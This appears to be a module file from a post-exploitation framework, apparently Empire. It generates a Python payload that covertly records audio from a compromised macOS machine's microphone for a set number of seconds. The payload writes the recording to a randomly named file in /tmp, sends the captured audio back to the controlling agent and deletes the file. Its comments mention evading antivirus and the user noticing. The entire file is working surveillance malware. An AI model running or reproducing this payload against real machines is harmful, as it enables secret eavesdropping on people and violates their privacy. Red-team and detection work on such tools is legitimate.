from builtins import object
class Module(object):
def __init__(self, mainMenu, params=[]):
# Metadata info about the module, not modified during runtime
self.info = {
# Name for the module that will appear in module menus
'Name': 'osx_mic_record',
# List of one or more authors for the module
'Author': ['@s0lst1c3'],
# More verbose multi-line description of the module
'Description': ('Records audio through the MacOS webcam mic '
'by leveraging the Apple AVFoundation API.'),
'Software': '',
'Techniques': ['T1512'],
# True if the module needs to run in the background
'Background': False,
# File extension to save the file as
# no need to base64 return data
'OutputExtension': 'caf',
# True if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': False,
# The module language
'Language' : 'python',
# The minimum language version needed
'MinLanguageVersion' : '2.6',
# List of any references/other comments
'Comments': [
(
'Executed within memory, although recorded audio will '
'touch disk while the script is running. This is unlikely '
'to trip A/V, although a user may notice the audio file '
'if it stored in an obvious location.'
),
]
}
# Any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent': {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to record audio from.',
'Required' : True,
'Value' : '',
},
'OutputDir': {
'Description' : ('Directory on remote machine '
'in recorded audio should be '
'saved. (Default: /tmp)'),
'Required' : False,
'Value' : '/tmp',
},
'RecordTime': {
'Description' : ('The length of the audio recording '
'in seconds. (Default: 5)'),
'Required' : False,
'Value' : '5',
}
}
# Save off a copy of the mainMenu object to access external
# functionality like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=''):
record_time = self.options['RecordTime']['Value']
output_dir = self.options['OutputDir']['Value']
script = '''
import objc
import objc._objc
import time
import sys
import random
import os
from string import ascii_letters
from Foundation import *
from AVFoundation import *
record_time = %s
output_dir = '%s'
if __name__ == '__main__':
pool = NSAutoreleasePool.alloc().init()
# construct audio URL
output_file = ''.join(random.choice(ascii_letters) for _ in range(32))
output_path = os.path.join(output_dir, output_file)
audio_path_str = NSString.stringByExpandingTildeInPath(output_path)
audio_url = NSURL.fileURLWithPath_(audio_path_str)
# fix metadata for AVAudioRecorder
objc.registerMetaDataForSelector(
b"AVAudioRecorder",
b"initWithURL:settings:error:",
dict(arguments={4: dict(type_modifier=objc._C_OUT)}),
)
# initialize audio settings
audio_settings = NSDictionary.dictionaryWithDictionary_({
'AVEncoderAudioQualityKey' : 0,
'AVEncoderBitRateKey' : 16,
'AVSampleRateKey': 44100.0,
'AVNumberOfChannelsKey': 2,
})
# create the AVAudioRecorder
(recorder, error) = AVAudioRecorder.alloc().initWithURL_settings_error_(
audio_url,
audio_settings,
objc.nil,
)
# bail if unable to create AVAudioRecorder
if error is not None:
NSLog(error)
sys.exit(1)
# record audio for record_time seconds
recorder.record()
time.sleep(record_time)
recorder.stop()
# retrieve content from output file then delete it
with open(output_path, 'rb') as input_handle:
captured_audio = input_handle.read()
run_command('rm -f ' + output_path)
# return captured audio to agent
print(captured_audio)
del pool
''' % (record_time, output_dir) # script
return script